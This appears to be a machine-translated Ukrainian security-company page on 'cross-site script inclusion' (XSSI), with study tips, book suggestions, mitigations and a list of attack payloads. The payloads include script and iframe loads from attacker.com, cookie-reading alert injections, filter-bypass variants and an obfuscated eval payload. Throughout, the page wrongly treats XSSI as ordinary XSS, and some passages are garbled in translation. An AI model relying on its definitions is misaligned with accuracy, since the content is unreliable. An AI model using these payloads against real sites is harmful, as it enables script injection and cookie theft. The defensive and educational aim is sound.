  1. Ознайомтеся з основами: Почніть з розуміння основ включення міжсайтових сценаріїв, включаючи те, що це таке, як це працює і його потенційний вплив на веб-додатки.

  2. Вивчіть реальні приклади: знайдіть реальні приклади вразливостей і експлойтів, пов'язаних з включенням міжсайтових сценаріїв, і вивчіть, як вони працюють.

  3. Практика роботи з уразливими додатками: Використовуйте вразливі веб-додатки або створюйте свої власні, щоб практикувати тестування на наявність вразливостей, пов'язаних з включенням міжсайтових сценаріїв.

  4. Виймайте уроки з інструментів з відкритим вихідним кодом: Для тестування і використання вразливостей, пов'язаних з включенням міжсайтових сценаріїв, доступно безліч інструментів з відкритим вихідним кодом, таких як XSStrike, Burp Suite і інші. Дізнайтеся, як використовувати ці інструменти для виявлення і використання вразливостей.

  5. Відвідуйте тренінги чи семінари: шукайте навчальні курси чи семінари, присвячені впровадженню міжсайтових сценаріїв, де ви можете повчитися у експертів в цій галузі та отримати практичну практику.

  6. Беріть участь в програмах винагороди за помилки: Приєднуйтесь до програм винагороди за помилки і шукайте уразливості, пов'язані з включенням міжсайтових сценаріїв, щоб попрактикуватися у своїх навичках і потенційно заробити нагороди.

  7. Ознайомтеся з OWASP Top 10: OWASP Top 10 - це список найбільш поширених загроз безпеки веб-додатків, включаючи включення міжсайтових сценаріїв. Прочитайте це керівництво, щоб краще зрозуміти ризики безпеки веб-додатків.

Кращий спосіб дізнатися про включення міжсайтових сценаріїв - це отримати практичну практику, протестувавши вразливі додатки, використовуючи інструменти з відкритим вихідним кодом і беручи участь в програмах по виправленню помилок. Майте на увазі, що безпека веб-додатків - це постійно розвивається область, тому важливо бути в курсі останніх тенденцій і технологій.

Книги з оглядом включення міжсайтового скрипта

Ось кілька популярних книг по включенню міжсайтових сценаріїв (XSSI), які можуть виявитися вам корисними:

  1. "Атаки з використанням міжсайтових сценаріїв: експлойти і захист Xss" Сета Фоги та ін. В цій книзі міститься вичерпний огляд атак з використанням міжсайтових сценаріїв (XSS) і способів їх запобігання. У ньому розглядаються технічні аспекти XSS-атак, а також стратегії пом'якшення наслідків.

  2. "The Web Application hacker's Handbook: пошук і використання недоліків безпеки" Дэфидд Штуттард і Маркус Пінто. У цій книзі розглядається широке коло питань безпеки веб-додатків, включаючи межсайтовые скрипти і інші уразливості. Він призначений як для початківців, так і для більш досвідчених фахівців у галузі безпеки.

  3. "Освоєння сучасного веб-тестування на проникнення" Прахара Прасада. У цій книзі розглядаються новітні методи та інструменти, які використовуються при тестуванні безпеки веб-додатків, включаючи межсайтовые сценарії. Він призначений для досвідчених тестувальників на проникнення і містить докладні технічні деталі.

  4. "Керівництво по тестуванню OWASP v4" від OWASP. Це безкоштовне керівництво по тестуванню безпеки веб-додатків з відкритим вихідним кодом, створений Open Web Application Security Project (OWASP). Він містить детальну інформацію про тестування міжсайтових сценаріїв і інших вразливостей.

  5. "Black Hat Python: програмування на Python для хакерів і пентестеров" Джастіна Сейтца. Ця книга являє собою введення в програмування на Python для тестування безпеки веб-додатків, включаючи методи виявлення і використання вразливостей міжсайтових сценаріїв.

У цих книгах міститься широкий спектр інформації про міжсайтових сценаріїв і тестуванні безпеки веб-додатків, від технічних деталей до практичних порад і стратегій. Я рекомендую прочитати огляди та анонси цих книг, щоб визначити, які з них будуть найбільш корисні для ваших конкретних потреб у навчанні.

Список корисних навантажень для включення міжсайтового скрипта

Ось деякі поширені корисні навантаження для атак з включенням міжсайтових сценаріїв (XSSI):

  1. '<script src=http://attacker.com/malicious.js></script>'
    Ця корисна навантаження завантажує шкідливий скрипт з домену, контрольованого зловмисником.

  2. '<img src=http://attacker.com/malicious.png onerror=alert(document.cookie)>'
    Ця корисна навантаження завантажує шкідливий образ з домену, контрольованого зловмисником, і відкриває діалогове вікно попередження, в якому відображаються файли cookie жертви.

  3. '"><script>alert(document.cookie)</script>'
    Ця корисна навантаження використовується в відбитої атаки міжсайтового скриптинга (XSS), коли вхідні дані жертви відбиваються назад на сторінку без належного очищення.

  4. '")};alert(document.cookie);//'
    Ця корисна навантаження використовується в атаці з використанням збережених міжсайтових сценаріїв (XSS), коли зловмисник впроваджує шкідливий код, який постійно зберігається на сервері.

  5. '';alert(document.cookie);//'
    Ця корисна навантаження використовується для обходу перевірки вводу, яка шукає тільки подвійні лапки і допускає одинарні лапки в якості вхідних даних.

  6. '<iframe src=http://attacker.com/malicious.html></iframe>'
    Ця корисна навантаження завантажує шкідливу HTML-сторінку з домену, контрольованого зловмисником, в iframe на сторінці жертви.

  7. '"><img src=x onerror=alert(document.cookie)>'
    Ця корисна навантаження використовується для обходу перевірки вводу, яка шукає тільки тег script і допускає інші теги HTML в якості вхідних даних.

  8. '"><svg onload=alert(document.cookie)>'
    Ця корисна навантаження використовується для обходу перевірки вхідних даних, яка шукає тільки теги зображень і допускає інші типи тегів в якості вхідних даних.

  9. '"><script>eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,
    107,105,101,41))</script>'
    Ця корисна навантаження заплутує корисну навантаження, використовуючи eval коди функцій і символів для обходу виявлення.

  10. '<script>alert(/XSSI/)</script>'
    Ця корисна навантаження використовується для перевірки вразливостей включення міжсайтового скрипта (XSSI) шляхом перевірки наявності рядка "XSSI" у відповіді.

Зверніть увагу, що ці корисні навантаження надаються тільки в освітніх цілях і не повинні використовуватися для атаки або компрометації будь-яких систем без належного дозволу.

Пом'якшення наслідків та способи захисту від включення міжсайтового скрипта

Для захисту від включення міжсайтового скрипта (XSSI) розгляньте наступні методи пом'якшення наслідків:

  1. Перевірка вхідних даних: Першим і найбільш важливим кроком у запобіганні ХЅЅІЯВЛЯЕТСЯ виконання перевірки вхідних даних. Перевіряйте всі вхідні дані, особливо ті, які надходять з ненадійних джерел, таких як користувальницький введення, файли cookie, заголовки і параметри запиту.

  2. Політика безпеки контенту (CSP): Політика безпеки контенту (CSP) - це функція безпеки, яка дозволяє веб-сторінці вказувати, які джерела контенту вважаються законними, а які ні. Реалізуючи CSP, можна обмежити завантаження зовнішніх ресурсів на веб-сторінці, тим самим запобігаючи атаки XSSI.

  3. Політика одного і того ж джерела (SOP): Політика одного і того ж джерела (SOP) - це функція безпеки, яка обмежує обмін даними між двома різними доменами. SOP - це механізм, що реалізується веб-браузерами для запобігання доступу веб-сторінок до ресурсів з інших доменів. Застосовуючи SOP, можна знизити ризик XSSI-атак.

  4. Перевірка на стороні сервера: перевірка на стороні сервера завжди повинна використовуватися в поєднанні з перевіркою на стороні клієнта. Перевірка на стороні сервера повинна бути виконана, щоб переконатися, що всі вхідні дані є дійсними і безпечними у використанні.

  5. Прапори файлів cookie: використовуючи прапори secure і HttpOnly файли cookie, можна запобігти крадіжці конфіденційної інформації XSSI-атаками з браузера користувача.

  6. Регулярні оновлення: Оновлення веб-додатки за допомогою останніх виправлень і оновлень може допомогти запобігти атаки XSSI шляхом усунення відомих вразливостей.

Впроваджуючи ці методи пом'якшення наслідків, можна знизити ризик атак з використанням міжсайтових сценаріїв (XSSI).

Висновок

Включення міжсайтових сценаріїв (XSSI) - це вразливість у системі безпеки, яка дозволяє зловмиснику виконувати шкідливі скрипти в веб-браузері жертви шляхом впровадження шкідливого коду на вразливу веб-сторінку. Атаки XSSI можна запобігти, впровадивши методи пом'якшення наслідків, такі як перевірка вхідних даних, політика безпеки контенту (CSP), політика того ж джерела (SOP), перевірка на стороні сервера, прапори файлів cookie і регулярні оновлення. Веб-розробникам і організаціям важливо знати про ризики, пов'язані з XSSI, і робити кроки для захисту своїх веб-додатків від цього типу атак.

Інші Послуги

Готові до безпеки?

зв'язатися з нами